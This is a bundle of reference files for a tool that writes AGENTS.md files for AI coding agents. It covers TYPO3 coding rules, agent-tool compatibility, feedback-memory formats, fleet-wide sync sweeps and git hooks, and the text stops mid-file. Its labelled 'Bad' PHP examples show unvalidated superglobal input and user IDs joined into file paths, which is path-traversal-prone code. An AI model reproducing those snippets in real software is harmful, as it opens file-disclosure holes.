``` ## 🔒 Security ### FAL (File Abstraction Layer) - **Always use FAL:** Never direct file system access - **ResourceFactory:** For retrieving files by UID - **File validation:** Check isDeleted(), isMissing() - **ProcessedFile:** Use process() for image manipulation ```php // ✅ Good: FAL usage $file = $this->resourceFactory->getFileObject($id); if ($file->isDeleted() || $file->isMissing()) { throw new \Exception('File not found'); } // ❌ Bad: Direct file access $file = file_get_contents('/var/www/uploads/' . $filename); ``` ### Input Validation - **Type cast superglobals:** `(int)($request->getQueryParams()['id'] ?? 0)` - **Validate before use:** Check ranges, formats, existence - **Exit on error:** Use HTTP status codes with `HttpUtility::HTTP_STATUS_*` ### XSS Prevention - **Fluid templates:** Auto-escaping enabled by default - **JSON responses:** Use `JsonResponse` class - **Localization:** Via `LocalizationUtility::translate()` ## ✅ PR/Commit Checklist ### PHP-Specific Checks 1. ✅ **Strict types:** `declare(strict_types=1);` in all files 2. ✅ **Type hints:** All parameters and return types declared 3. ✅ **PHPStan:** Zero errors (`composer ci:test:php:phpstan`) 4. ✅ **Code style:** PSR-12/PER-CS2.0 compliant (`make format`) 5. ✅ **Rector:** No modernization suggestions (`composer ci:test:php:rector`) 6. ✅ **FAL usage:** No direct file system access 7. ✅ **DI pattern:** Constructor injection, no `new ClassName()` 8. ✅ **PSR-7:** Request/Response for controllers 9. ✅ **Documentation:** PHPDoc for public methods ## 🎓 Good vs Bad Examples ### ✅ Good: Controller Pattern ```php <?php declare(strict_types=1); namespace Netresearch\RteCKEditorImage\Controller; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use TYPO3\CMS\Core\Http\JsonResponse; use TYPO3\CMS\Core\Resource\ResourceFactory; final class SelectImageController { public function __construct( private readonly ResourceFactory $resourceFactory ) { } public function infoAction(ServerRequestInterface $request): ResponseInterface { $fileUid = (int)($request->getQueryParams()['fileId'] ?? 0); if ($fileUid <= 0) { return new JsonResponse(['error' => 'Invalid file ID'], 400); } $file = $this->resourceFactory->getFileObject($fileUid); return new JsonResponse([ 'uid' => $file->getUid(), 'width' => $file->getProperty('width'), 'height' => $file->getProperty('height'), ]); } } ``` ### ❌ Bad: Anti-patterns ```php <?php // ❌ Missing strict types namespace Netresearch\RteCKEditorImage\Controller; // ❌ Missing PSR-7 types class SelectImageController { // ❌ No constructor DI public function infoAction($request) { // ❌ Direct superglobal access $fileUid = $_GET['fileId']; // ❌ No DI - manual instantiation $factory = new ResourceFactory(); // ❌ No type safety, no validation $file = $factory->getFileObject($fileUid); // ❌ Manual JSON encoding header('Content-Type: application/json'); echo json_encode(['uid' => $file->getUid()]); exit; } } ``` ### ✅ Good: EventListener Pattern ```php <?php declare(strict_types=1); namespace Netresearch\RteCKEditorImage\EventListener; use TYPO3\CMS\Backend\Routing\UriBuilder; use TYPO3\CMS\RteCKEditor\Form\Element\Event\AfterPrepareConfigurationForEditorEvent; final class RteConfigurationListener { public function __construct( private readonly UriBuilder $uriBuilder ) { } public function __invoke(AfterPrepareConfigurationForEditorEvent $event): void { $configuration = $event->getConfiguration(); $configuration['style']['typo3image'] = [ 'routeUrl' => (string)$this->uriBuilder->buildUriFromRoute('rteckeditorimage_wizard_select_image'), ]; $event->setConfiguration($configuration); } } ``` ### ❌ Bad: EventListener Anti-pattern ```php <?php namespace Netresearch\RteCKEditorImage\EventListener; class RteConfigurationListener { // ❌ Wrong signature - not invokable public function handle($event) { // ❌ Manual instantiation instead of DI $uriBuilder = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(UriBuilder::class); // ❌ Array access without type safety $config = $event->getConfiguration(); $config['style']['typo3image']['routeUrl'] = $uriBuilder->buildUriFromRoute('rteckeditorimage_wizard_select_image'); $event->setConfiguration($config); } } ``` ### ✅ Good: FAL Usage ```php protected function getImage(int $id): File { try { $file = $this->resourceFactory->getFileObject($id); if ($file->isDeleted() || $file->isMissing()) { throw new FileNotFoundException('File not found or deleted', 1234567890); } } catch (\Exception $e) { throw new FileNotFoundException('Could not load file', 1234567891, $e); } return $file; } ``` ### ❌ Bad: Direct File Access ```php // ❌ Multiple issues protected function getImage($id) // Missing return type, no type hint { // ❌ Direct file system access, bypassing FAL $path = '/var/www/html/fileadmin/' . $id; // ❌ No validation, no error handling if (file_exists($path)) { return file_get_contents($path); } return null; // ❌ Should throw exception or return typed null } ``` ## 🆘 When Stuck ### Documentation - **API Reference:** [docs/API/Controllers.md](../docs/API/Controllers.md) - Controller APIs - **Event Listeners:** [docs/API/EventListeners.md](../docs/API/EventListeners.md) - PSR-14 events - **Data Handling:** [docs/API/DataHandling.md](../docs/API/DataHandling.md) - Database hooks - **Architecture:** [docs/Architecture/Overview.md](../docs/Architecture/Overview.md) - System design ### TYPO3 Resources - **FAL Documentation:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Fal/Index.html - **PSR-14 Events:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Events/Index.html - **Dependency Injection:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/DependencyInjection/Index.html - **Controllers:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Backend/Controllers/Index.html ### Common Issues - **ResourceFactory errors:** Check file exists, not deleted, proper UID - **DI not working:** Verify `Configuration/Services.yaml` registration - **PHPStan errors:** Update baseline: `composer ci:test:php:phpstan:baseline` - **Type errors:** Enable strict_types, add all type hints ## 📐 House Rules ### Controllers - **Extend framework controllers:** ElementBrowserController for browsers - **Final by default:** Use `final class` unless inheritance required - **PSR-7 types:** ServerRequestInterface → ResponseInterface - **JSON responses:** Use `JsonResponse` class - **Validation first:** Validate all input parameters at method start ### EventListeners - **Invokable:** Use `__invoke()` method signature - **Event type hints:** Type-hint specific event classes - **Immutability aware:** Get, modify, set configuration/state - **Final classes:** Event listeners should be final ### DataHandling - **Soft references:** Implement soft reference parsing for data integrity - **Database hooks:** Use for maintaining referential integrity - **Transaction safety:** Consider rollback scenarios ### Dependencies - **Constructor injection:** All dependencies via constructor - **Readonly properties:** Use `readonly` for immutable dependencies - **Interface over implementation:** Depend on interfaces when available - **GeneralUtility::makeInstance:** Only for factories or when DI unavailable ### Error Handling - **Type-specific exceptions:** Use TYPO3 exception hierarchy - **HTTP status codes:** Via HttpUtility constants - **Meaningful messages:** Include context in exception messages - **Log important errors:** Use TYPO3 logging framework ### Testing - **Functional tests:** For controllers, database operations - **Unit tests:** For utilities, isolated logic - **Mock FAL:** Use TYPO3 testing framework FAL mocks - **Test location:** `Tests/Functional/` and `Tests/Unit/` ## 🔗 Related - **[Resources/AGENTS.md](../Resources/AGENTS.md)** - JavaScript/CKEditor integration - **[Tests/AGENTS.md](../Tests/AGENTS.md)** - Testing patterns - **[Configuration/Services.yaml](../Configuration/Services.yaml)** - DI container configuration - **[docs/API/](../docs/API/)** - Complete API documentation -
composer.json 174 B
{ "name": "example/t3x-rte-ckeditor-image", "type": "typo3-cms-extension", "require": { "php": "^8.1", "typo3/cms-core": "^12.4 || ^13.4" } }
-
-
-
ai-contribution-guidelines.md 2.5 KB
# AI Agent Contribution Guidelines Guidelines for AI agents contributing to projects with AGENTS.md files. Based on the "3 Cs" framework from GitHub's open source mentorship research (March 2026). ## The 3 Cs ### Comprehension Before submitting any code change, the agent must demonstrate understanding of the problem: - Read the linked issue fully — understand the *why*, not just the symptoms - Check if the issue is already assigned to someone - Understand the trade-offs involved (performance vs readability, backwards compatibility, etc.) - If the issue is unclear, ask for clarification rather than guessing **Red flag**: Submitting code that "looks right" without understanding why the current behavior exists. ### Context Every PR must provide enough context for efficient review: - Link to the issue being addressed (Fixes #NNN) - Explain the approach taken and alternatives considered - If AI tools assisted the contribution, disclose this if the project requires it - Include test evidence (test output, before/after screenshots) - Note any side effects or breaking changes **Red flag**: A PR with only "Fixes the bug" as description. ### Continuity Contributions are not fire-and-forget: - Respond to review comments within a reasonable timeframe - Be willing to iterate on feedback - Don't submit to many projects simultaneously without capacity to follow up - If you can't continue, say so — maintainers prefer honesty over silence **Red flag**: Opening a PR and never responding to review feedback. ## Detection Patterns The agent-rules skill detects contribution requirements from: | Source | What's extracted | |--------|-----------------| | `CONTRIBUTING.md` | Issue-first requirements, AI disclosure policy | | PR templates (`.github/pull_request_template.md`) | Required fields (issue links, test plans) | | Branch protection rules | Linked issue requirements | | `AGENTS.md` | Agent-specific boundaries and conventions | ## What AGENTS.md Signals Having an AGENTS.md file signals: - The project is AI-contribution-ready - Agents should follow the conventions documented in the file - The closest AGENTS.md to the files being changed takes precedence - Explicit user instructions override AGENTS.md ## References - [Rethinking open source mentorship in the AI era](https://github.blog/open-source/maintainers/rethinking-open-source-mentorship-in-the-ai-era/) (GitHub Blog, March 2026) - [agents.md convention](https://agents.md/) — the standard our skill implements -
ai-tool-compatibility.md 7.9 KB
# AI Tool Compatibility How AGENTS.md integrates with different AI coding tools, and what mitigations are needed for each. ## Compatibility Matrix (March 2026) | Agent | Native AGENTS.md | Subdirectory Auto-Load | Own Format | Mitigation | |-------|:-:|:-:|---|---| | **Codex CLI** | Yes (creator) | Yes (best-in-class) | `AGENTS.md` | None | | **GitHub Copilot** | Yes | Yes | `.github/copilot-instructions.md` | None | | **Cursor** | Yes | Yes | `.cursor/rules/*.mdc` | None | | **Windsurf** | Yes | Yes (auto-scoped) | `.windsurf/rules/` | None | | **Devin** | Yes | Yes | AGENTS.md primary | None | | **Augment Code** | Yes | Yes (hierarchical) | `.augment/rules/` | None | | **Roo Code** | Yes | Partial (recursive) | `.roo/rules/` | None | | **JetBrains Junie** | Yes | Needs config path | `.junie/guidelines.md` | Set Guidelines path for monorepos | | **Gemini CLI** | Via config | Yes (excellent) | `GEMINI.md` | Symlink or settings.json config | | **Aider** | Via config | No auto-discovery | `CONVENTIONS.md` | `.aider.conf.yml` config | | **Claude Code** | **No** | On-demand (CLAUDE.md only) | `CLAUDE.md` | **Auto-created when `.claude/` detected** | | **Continue.dev** | **No** | No | `.continue/rules/` | Copy/link into rules dir | | **Amazon Q** | **No** | No | `.amazonq/rules/` | Copy into rules dir | | **Cline** | **No** | No | `.clinerules/` | Copy/link into dir | | **Sourcegraph Cody** | **No** | No | `.sourcegraph/*.rule.md` | Copy content | | **Tabnine** | **No** | No | `.tabnine/guidelines/` | Copy content | ## Symlink Strategy (Recommended) The most reliable cross-agent solution is to **symlink** agent-specific files to AGENTS.md. This keeps AGENTS.md as the single source of truth while enabling native loading in each tool. ### What to create At **every level** where an AGENTS.md exists (root AND subdirectories): ```bash # For each directory containing AGENTS.md: ln -s AGENTS.md CLAUDE.md # Claude Code on-demand loading ln -s AGENTS.md GEMINI.md # Gemini CLI on-demand loading ``` ### Why subdirectory symlinks matter (verified behavior) Claude Code loads CLAUDE.md files **on demand** when the agent reads files in that directory. Without a CLAUDE.md symlink, subdirectory AGENTS.md files are **never auto-loaded** — even if the root AGENTS.md explicitly links to them and says "read nearest AGENTS.md." **Tested scenarios (March 2026):** | Setup | Result | |-------|--------| | Root CLAUDE.md symlink only, no subdirectory symlinks | Subdirectory AGENTS.md NOT loaded. Agent sees root links but does not proactively read them. | | Root + subdirectory CLAUDE.md symlinks | Subdirectory AGENTS.md auto-loaded when agent works in that directory. | | Root instructions say "read nearest AGENTS.md" | Agent acknowledges instruction but does NOT act on it without explicit prompting. | ### Commit symlinks to git Symlinks are tiny (9 bytes each) and should be committed: ```bash git add CLAUDE.md GEMINI.md git add internal/CLAUDE.md internal/GEMINI.md # etc. ``` They work on all platforms (Linux, macOS, Windows with `core.symlinks=true`). ## Claude Code Claude Code only reads `CLAUDE.md` files natively. AGENTS.md is not recognized. **Feature request**: [anthropics/claude-code#6235](https://github.com/anthropics/claude-code/issues/6235) (3,294+ upvotes, no official response as of March 2026). ### Loading behavior - **Root CLAUDE.md**: Auto-loaded at session start (always in context) - **Subdirectory CLAUDE.md**: Loaded on demand when agent reads/edits files in that directory - **AGENTS.md**: Never loaded natively — requires symlink ### Default behavior `generate-agents.sh` creates CLAUDE.md and GEMINI.md symlinks at every level where an AGENTS.md is generated. No flags required, so Claude Code and Gemini CLI users get working agent instructions out of the box. To opt out, pass `--no-symlinks`. It suppresses both files at every level, with no exceptions. Existing files are never taken over: a regular CLAUDE.md/GEMINI.md, or a symlink pointing anywhere other than AGENTS.md, is kept and reported, and only `--force` replaces it. ### Manual symlinks (if not using the generator) ```bash # Root ln -s AGENTS.md CLAUDE.md # Every subdirectory with its own AGENTS.md ln -s AGENTS.md src/CLAUDE.md ln -s AGENTS.md internal/CLAUDE.md ln -s AGENTS.md internal/web/CLAUDE.md ``` ### Alternative: @import shim (root only, legacy) If you need Claude-specific overrides on top of AGENTS.md: ```markdown <!-- CLAUDE.md --> @AGENTS.md <!-- Claude-specific overrides below --> ``` Note: `@import` only works at root level. Subdirectories still need symlinks for on-demand loading. ### Alternative: SessionStart hook For skill users only — auto-create symlinks at session start: ```json { "hooks": { "SessionStart": [{ "matcher": "", "hooks": [{ "type": "command", "command": "find . -name AGENTS.md -not -path './.git/*' | while read f; do dir=$(dirname \"$f\"); [ ! -e \"$dir/CLAUDE.md\" ] && ln -s AGENTS.md \"$dir/CLAUDE.md\"; done", "timeout": 5 }] }] } } ``` This only helps users who have the hook installed. Committed symlinks are more reliable. ## Google Gemini CLI Gemini CLI reads `GEMINI.md` natively with excellent hierarchical support (global, project, subdirectory). ### Mitigation options **Option A: Symlink** (recommended) ```bash ln -s AGENTS.md GEMINI.md # At every level ``` **Option B: settings.json config** ```json { "context": { "fileName": ["AGENTS.md", "GEMINI.md"] } } ``` ## OpenAI Codex Codex is the creator of the AGENTS.md standard and has the best support. - **Concatenation order**: `~/.codex/AGENTS.md` → root → nested directories → current dir - **Override files**: `AGENTS.override.md` at any level temporarily replaces the base file - **Size limit**: Default 32 KiB combined (`project_doc_max_bytes`) - **Fallback filenames**: Configurable via `~/.codex/config.toml` **Best practices:** - Keep root AGENTS.md under 4 KiB (leaves room for 7+ nested files) - Use `--style=thin` template for optimal Codex compatibility - Use AGENTS.override.md for directory-specific behavior changes ## Aider Aider reads `CONVENTIONS.md` by default. AGENTS.md requires explicit configuration. ### Mitigation: .aider.conf.yml ```yaml # .aider.conf.yml read: - AGENTS.md - internal/AGENTS.md # No auto-discovery — list each file explicitly - internal/web/AGENTS.md ``` Or via CLI: `aider --read AGENTS.md` ## GitHub Copilot Full native support for AGENTS.md including subdirectories (announced August 2025). Also reads CLAUDE.md and GEMINI.md as fallbacks. Additionally supports its own format: - `.github/copilot-instructions.md` — repository-wide instructions - `.github/instructions/*.instructions.md` — path-scoped via YAML frontmatter `applyTo` globs ## Agents Without Native Support For **Continue.dev**, **Amazon Q**, **Cline**, **Sourcegraph Cody**, and **Tabnine**: These agents use proprietary directory formats. The only mitigation is to copy or symlink AGENTS.md content into their respective directories: | Agent | Target | |-------|--------| | Continue.dev | `.continue/rules/agents.md` | | Amazon Q | `.amazonq/rules/agents.md` | | Cline | `.clinerules/agents.md` | | Sourcegraph Cody | `.sourcegraph/agents.rule.md` | | Tabnine | `.tabnine/guidelines/agents.md` | Feature requests are open for most of these tools. ## Generation Script Integration `generate-agents.sh` creates `CLAUDE.md` and `GEMINI.md` symlinks **by default** at every level where an AGENTS.md is generated. `--no-symlinks` turns that off; there is no environment detection that overrides the flag. ```bash bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project # Symlinks created by default bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --no-symlinks # No CLAUDE.md/GEMINI.md at any level ``` The `--claude-shim` flag creates a root-only CLAUDE.md with `@import` (legacy behavior). Use the default symlink behavior instead for full subdirectory support. -
directory-coverage.md 2.4 KB
# Directory Coverage for AGENTS.md Comprehensive AGENTS.md coverage means creating files in ALL key directories, not just root. ## Why Full Coverage Matters - Each directory has unique patterns and conventions - AI agents working in subdirectories benefit from local context - Reduces need to navigate up to root AGENTS.md ## Standard Directory Structure ### PHP/TYPO3 Projects | Directory | AGENTS.md Content | |-----------|-------------------| | Root | Project overview, precedence list, architecture diagram | | `Classes/` | DI patterns, service layer, security rules | | `Configuration/` | TCA, Services.yaml, module registration | | `Documentation/` | RST standards, directives, rendering | | `Resources/` | Templates, XLIFF, assets | | `Tests/` | Unit/functional patterns, fixtures | | `Tests/E2E/` | E2E-specific patterns (if exists) | ### Go Projects | Directory | AGENTS.md Content | |-----------|-------------------| | Root | Module overview, build commands | | `cmd/` | CLI entry points, flags | | `internal/` | Private packages, no export | | `pkg/` | Public API patterns | ### Python Projects | Directory | AGENTS.md Content | |-----------|-------------------| | Root | Project overview, pyproject.toml config | | `src/` | Source code patterns, type hints | | `tests/` | pytest conventions, fixtures, markers | | `scripts/` | CLI scripts, entry points | | `docs/` | Sphinx/MkDocs documentation standards | ### TypeScript/Node Projects | Directory | AGENTS.md Content | |-----------|-------------------| | Root | Package overview, scripts | | `src/` | Source patterns, imports | | `components/` | UI component patterns | | `tests/` or `__tests__/` | Testing patterns | ### Skill Repos (Claude Code Plugins) | Directory | AGENTS.md Content | |-----------|-------------------| | Root | Project overview, plugin.json, licensing | | `skills/<name>/` | Skill-specific patterns, SKILL.md rules | | `skills/<name>/scripts/` | Shell script conventions | | `skills/<name>/references/` | Extended documentation patterns | | `.github/workflows/` | CI workflow patterns (validate, auto-merge) | ## Precedence Rules Root AGENTS.md should list all child files: ```markdown ## Precedence 1. This file (root) 2. Directory-specific files: - `Classes/AGENTS.md` - `Configuration/AGENTS.md` - `Tests/AGENTS.md` 3. Framework standards ``` ## Anti-pattern **Wrong**: Only creating root AGENTS.md and Tests/AGENTS.md **Right**: Create AGENTS.md in EVERY directory with unique patterns -
feedback-memory-schema.md 6.1 KB
# Feedback Memory Schema How **approved session learnings** reach a repository, and the file format of the learning files that earlier versions of `retro-skill` wrote. This is the contract between `retro-skill` (which materializes learnings) and `agent-rules-skill` (which owns how they sit in AGENTS.md). `retro-skill` owns *what it writes and where*. This document follows it; where the two disagree, [retro's destination taxonomy](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/destination-taxonomy.md) wins. ## Where approved learnings go today | Destination | Target | Form | |---|---|---| | **`personal-rule`** (personal preference across projects) | `~/.claude/CLAUDE.md` | A titled rule appended to the always-loaded global rules file. Nothing lands in the repository, and nothing here manages it. | | **`project-rule`** (project-specific convention) | `<project>/AGENTS.md` | A titled rule appended to AGENTS.md, which is the single project rule store. | `personal-rule` was called `user-memory` in earlier versions; the old name is a deprecated alias `retro` still accepts as input. A rule in either target has the same shape: ```markdown ## <Short rule title> <1-2 sentences: what to do and why. State the trigger and the action.> ``` **Not** `~/.claude/projects/<slug>/memory/`. That directory is cwd-scoped — a file written there is only recalled when the working directory resolves to the same project slug — so it is no longer a destination at all. It is only ever a *source*: `/retro promote` drains what accumulated there upward into the correct destination. ## Project-rule placement in AGENTS.md The rule is appended under `## Approved learnings`. ### Section position `## Approved learnings` goes **after `## Key Decisions` and before `## Boundaries`** in the `root-thin.md` template's section order, and **outside** any `<!-- AGENTS-GENERATED:START ... -->` markers, so that `generate-agents.sh --update` preserves it. The section is managed by `retro-skill`, not by the generator. ### Size AGENTS.md is an index, and the harness caps it at 150 lines (`AH-02`). When the section pushes against that cap, prune learnings that no longer apply or move them to a scoped `AGENTS.md` next to the code they govern. Growing the root index unbounded trades one problem for another: a 400-line AGENTS.md is read less carefully than a 120-line one. ## Legacy learning files Earlier versions wrote each learning to its own file — `<project>/docs/feedback/feedback_<slug>.md` for project rules, `~/.claude/projects/<slug>/memory/feedback_<slug>.md` for personal ones — with a one-line index entry in AGENTS.md pointing at it. Those files still exist in repositories and in local memory, `retro` still reads them, and `/retro promote` re-homes the personal ones. Nothing writes new ones. Keep reading them in this format: ```markdown --- name: <human-readable title; may be free prose> description: "<one-line summary; used for relevance scoring across sessions>" type: feedback originSessionId: <session-id-from-jsonl-filename> --- **Why:** <1-2 paragraphs explaining the friction and root cause> **How to apply:** <1-2 paragraphs describing how the assistant should behave next time> ``` | Field | Required | Notes | |---|---|---| | `name` | yes | Human-readable title. May be free-form (`"Preserve commit signing on rewrite operations"`) or a short slug (`"merge strategy"`) — **not necessarily kebab-case**. The filename slug is independent of it. | | `description` | yes | One-line summary, ≤200 chars, used to score relevance against new friction. **MUST be double-quoted** when it contains any of `: # [ ] { } , & * ! \| > ' " % @` or leading whitespace. Safer rule: quote unconditionally. | | `type` | yes | Always `feedback`. | | `originSessionId` | recommended | Session where the friction was first observed. Its absence does not invalidate the file, only its traceability. | | `**Why:**` body section | yes | Start of line, exact form `**Why:**` plus a trailing space. Without it the file rots — a reader cannot judge whether it still applies. | | `**How to apply:**` body section | yes | Start of line, exact form `**How to apply:**` plus a trailing space. A vague rule changes no behaviour. | An extended `metadata:` block (`node_type`, `type`) appears in some files; it is tolerated, not required. A legacy file is valid when its frontmatter parses (PyYAML / yq), `name`, `description` and `type` are non-empty, both body markers are present at start of line, and the filename matches `feedback_<slug>.md` with a kebab-case slug. An AGENTS.md that still indexes such files keeps working — the index entry is a plain link, and the harness `AH-10` check verifies that it resolves. Migrating an existing `docs/feedback/` tree into AGENTS.md rules is optional and is not something this skill does automatically. ## Why the format was what it was - **Frontmatter** is machine-readable and tool-discoverable. - **`description`** lets retro detect duplicates and rank relevance. - **`Why:` + `How to apply:`** forces content that can be acted on; a vague file is a vague rule. - **`originSessionId`** traces a rule back to the friction that produced it, which is what makes deprecating it later possible. The current inline-rule form keeps the first, third and fourth properties in a smaller footprint: the rule is read where it is stored, and there is one place to look instead of an index plus a file. ## Validation gap (current state) `references/verification-guide.md` has no row for approved-learning sections yet. Until it does, `retro-skill`'s own PR-time validation of what it materializes is the de-facto enforcement. ## See also - [`retro-skill` destination taxonomy](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/destination-taxonomy.md) — the authoritative list of destinations and their materialization formats - [`retro-skill` patch workflow](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/patch-workflow.md) — how retro writes them - [`output-structure.md`](output-structure.md) — how AGENTS.md is laid out - [`verification-guide.md`](verification-guide.md) — how to validate the resulting AGENTS.md -
fleet-sync-sweep.md 4.7 KB
# Fleet Sync Sweep Bringing AGENTS.md across a whole repo fleet to one standard, in one pass. Written after the 2026-08-19 sweep over 24 `netresearch/t3x-*` repositories (17 with existing files to sync, 5 with none at all, 2 already done) — every step below either saved that sweep or was learned by breaking it. ## Shape Four phases, in this order. The expensive mistake is starting the per-repo work before the assessment exists — you then discover mid-sweep that a third of the fleet needs a different treatment. 1. **Assess mechanically, all repos, before touching one.** One script that per repo fetches, resolves the default branch, creates or updates a checkout, then runs `validate-structure.sh`, `score-agents.sh` and (if the harness is in play) `verify-harness.sh`, writing one TSV row plus a per-repo log. That table is the plan: it separates the repos that need a *sync* from those that need first-time *generation*, and its before/after numbers become the report. 2. **Write a playbook file, not a prompt.** Every trap you already know goes in one markdown file that each agent reads first. A trap explained in a prompt is explained once per agent and drifts; a playbook file is one artifact you can fix mid-sweep. 3. **Fan out in small batches**, each agent on one repo in its own worktree. 4. **Verify and merge in the main loop only.** Never the agent. ## The playbook file It must state, at minimum: the worktree convention with absolute paths, the exact verification commands and their pass criteria, the required sections for scoped files, the CLAUDE.md convention including directories where symlinks are forbidden, commit/PR conventions (signing, conventional commits, no bot attribution, issue-before-PR where the repo demands it), and a fixed report format the agent must end with. Two clauses do the heavy lifting: - **"Never merge."** State it as the first absolute rule. An agent that merges removes your verification step entirely, and it will merge if it can. - **"Verify every fact you write."** Commands against `composer.json`/`Makefile`, CI claims against the workflow file, referenced paths against the tree. Documentation drift is exactly what the sweep exists to fix; an agent inventing new drift while fixing old drift is the failure mode that looks like success. ## Batch size Cap concurrent agents at ~4. Larger fan-outs trip the global rate limiter, and a throttled agent fails in ways that look like content problems. Batches of four across six waves cost less wall-clock than one wave of twenty that half-fails. ## Verification in the main loop The per-repo scripts are necessary and not sufficient. In the 2026-08-19 sweep all three agent errors that mattered passed `validate-structure.sh` **and** `verify-harness.sh` green: | What the agent did | What caught it | |---|---| | Deleted a curated "Response Style" section to meet the line budget | reading the diff for removed `##` headings | | Wrote a file count into a scoped file | the repo's own convention test, red in CI | | Wrote a non-conventional commit subject | reading `git log --format=%s -1` | So the main-loop pass per PR is: rerun the tools yourself (never trust the reported numbers), diff every documented command against the real `composer.json`/`Makefile`, resolve every referenced path, and for each removed heading prove where its content went — see [`verification-guide.md`](verification-guide.md). Only then merge. ## Traps that cost time - **A background CI watcher dies with the worktree it was started in.** `getcwd: cannot access parent directories` after you clean up a merged repo. Start watchers from a stable directory, never from the worktree they are watching. - **Fast-moving repos need the rebase built into the plan.** One repo's `main` moved twice between green CI and merge; each move meant rebase, re-verify, re-watch. Arm auto-merge as soon as the gate is clean rather than after the next status read. - **Repo-specific tests outrank the generic rules.** One repo forbids file counts in agent docs and enforces it in its unit suite; the sweep's own "name what exists" phrasing broke it anyway. When a repo's CI red-flags generated documentation, the repo is right. - **A default branch is not always `main`.** Resolve it per repo (`git ls-remote --symref origin HEAD`); one `master` in the fleet breaks every hardcoded assumption at once. - **Local checkouts are unreliable ground truth.** Dirty, behind, or parked on someone's feature branch. Create the task worktree from `origin/<default>` and never edit the pre-existing checkout. ## Reporting Report per repo: issue URL, PR URL, gate state, checks, and the before/after numbers from phase 1. A sweep summary without the assessment numbers cannot be audited; with them, "average 68 → 96" is a claim someone can re-derive. -
git-hooks-setup.md 2.4 KB
# Git Hooks Setup for Autonomous Agents ## Why Hooks Matter Git hooks catch formatting errors, lint violations, and test failures **before commit** -- not minutes later in CI. For autonomous agents, this is critical: a failed CI run wastes time, tokens, and creates noisy fix-up commits. Hooks provide immediate feedback in the local loop. ## Detecting the Hook Framework Check for these files in the repository root: | File | Framework | Language ecosystem | |------|-----------|-------------------| | `lefthook.yml` or `.lefthook.yml` | [Lefthook](https://github.com/evilmartians/lefthook) | Any (Go binary) | | `captainhook.json` | [CaptainHook](https://github.com/captainhookphp/captainhook) | PHP / Composer | | `.husky/` directory | [Husky](https://github.com/typicode/husky) | Node.js / npm | | `.pre-commit-config.yaml` | [pre-commit](https://pre-commit.com/) | Python / Any | ## Setup Commands ### Lefthook ```bash # If a Makefile target exists (preferred) make setup # Otherwise install directly go install github.com/evilmartians/lefthook@latest lefthook install ``` ### CaptainHook (PHP) ```bash # Hooks install automatically via Composer plugin composer install ``` CaptainHook registers itself as a Composer plugin. Running `composer install` triggers the post-install hook that sets up git hooks. No extra step needed. ### Husky (Node.js) ```bash # Hooks install automatically via npm prepare script npm install ``` Husky uses the `prepare` lifecycle script in `package.json`. Running `npm install` (or `yarn install`) automatically runs `husky install`. ### pre-commit (Python) ```bash pip install pre-commit pre-commit install ``` Or if the project uses a virtual environment: ```bash # Inside activated venv pre-commit install ``` ## When No Hooks Exist If no hook framework is detected: 1. **Do not skip this step.** The absence of hooks is a gap worth flagging. 2. Suggest adding hooks to the project -- recommend Lefthook for polyglot repos, or the ecosystem-native tool (Husky for JS, CaptainHook for PHP, pre-commit for Python). 3. See the `git-workflow` skill for hook framework setup guidance. ## Never Skip Hooks **NEVER** use `--no-verify` to bypass hooks. If a hook fails: 1. Read the hook output to understand the failure. 2. Fix the underlying issue (formatting, lint error, failing test). 3. Stage the fix and commit again. Skipping hooks defeats their purpose and pushes problems to CI where they are more expensive to fix. -
output-structure.md 5.1 KB
# Output Structure ## Root File Root AGENTS.md (~50-80 lines) contains agent-optimized sections: | Section | Purpose | Format | |---------|---------|--------| | **Commands (verified)** | Executable commands with time estimates | Table with ~Time column | | **File Map** | Directory purposes for navigation | `dir/ -> purpose` format | | **Golden Samples** | Canonical patterns to follow | Table: For / Reference / Key patterns | | **Utilities List** | Existing helpers to reuse | Table: Need / Use / Location | | **Heuristics** | Quick decision rules | Table: When / Do | | **Boundaries** | Always/Ask/Never rules | Three-tier list | | **Codebase State** | Migrations, tech debt, known issues | Bullet list | | **Terminology** | Domain-specific terms | Table: Term / Means | | **Scope Index** | Links to scoped files | List with descriptions | ## Scoped Files Scoped AGENTS.md files cover six core areas (per [GitHub best practices](https://github.blog/ai-and-ml/github-copilot/how-to-write-a-great-agents-md-lessons-from-over-2500-repositories/)): 1. **Commands** - Executable build, test, lint commands 2. **Testing** - Test conventions and execution 3. **Project Structure** - Architecture and key files 4. **Code Style** - Formatting and conventions 5. **Git Workflow** - Commit/PR guidelines 6. **Boundaries** - Always do / Ask first / Never do Additional recommended sections: - Overview - Setup/Prerequisites - Security - Good vs Bad examples - When stuck - House Rules (for scoped overrides) - **Approved learnings** — titled rules appended by `/retro` (see [feedback-memory-schema.md](feedback-memory-schema.md)) ### AGENTS.md is an index, not a rule dump When session learnings are approved (via `/retro` or similar), the rule is appended under `## Approved learnings` as a short titled block — AGENTS.md is the single project rule store, so there is no second file to keep in sync. Keep each rule to a title plus one or two sentences naming the trigger and the action; anything that needs more belongs in `docs/` with a pointer, the same as every other topic in this index. Repos that still carry a `docs/feedback/` tree from the earlier index-plus-file model keep working — see [feedback-memory-schema.md](feedback-memory-schema.md). Place `## Approved learnings` **after `## Key Decisions` and before `## Boundaries`** in the section order, and put it **outside** any `<!-- AGENTS-GENERATED:START ... -->` markers — this section is managed by retro-skill, not by `generate-agents.sh`, so it must survive `--update` runs. If the approved-learnings section would push AGENTS.md over the harness 150-line cap (`AH-02`), prune rules that no longer apply or move them to a scoped `AGENTS.md` next to the code they govern, rather than letting the section grow unbounded. ## When to Customize vs Auto-Generate ### Auto-Generate These Sections These sections are factual and extractable - let scripts handle them: | Section | Why Auto-Generate | |---------|-------------------| | **Commands** | Extract from Makefile/package.json - always accurate | | **File Map** | Directory listing is objective | | **Scope Index** | Detectable from filesystem structure | | **Language/Framework** | Detectable from config files | | **Test Commands** | Extract from CI config | ### Manually Curate These 